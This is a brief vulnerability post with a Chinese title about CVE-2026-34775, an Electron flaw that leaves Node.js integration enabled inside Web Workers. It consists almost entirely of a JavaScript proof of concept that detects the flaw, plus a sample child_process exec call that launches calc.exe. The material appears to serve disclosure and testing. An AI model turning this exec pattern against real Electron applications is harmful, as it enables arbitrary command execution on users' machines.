CVE-2026-34775 Electron Node.js集成权限绕过漏洞

// PoC Concept for CVE-2026-34775 // This code attempts to verify if Node.js integration is available // inside a Web Worker where it should be disabled. const workerScript = ` self.onmessage = function(e) { // Check for Node.js specific objects if (typeof process !== 'undefined' || typeof require !== 'undefined') { postMessage('VULNERABLE: Node.js integration detected!'); // Example malicious action: require('child_process').exec('calc.exe'); } else { postMessage('SECURE: No Node.js integration detected.'); } }; `; // Create a Blob to run the worker script const blob = new Blob([workerScript], { type: 'application/javascript' }); const workerUrl = URL.createObjectURL(blob); // Initialize the worker in a frame context const worker = new Worker(workerUrl); worker.onmessage = function(e) { console.log(e.data); };
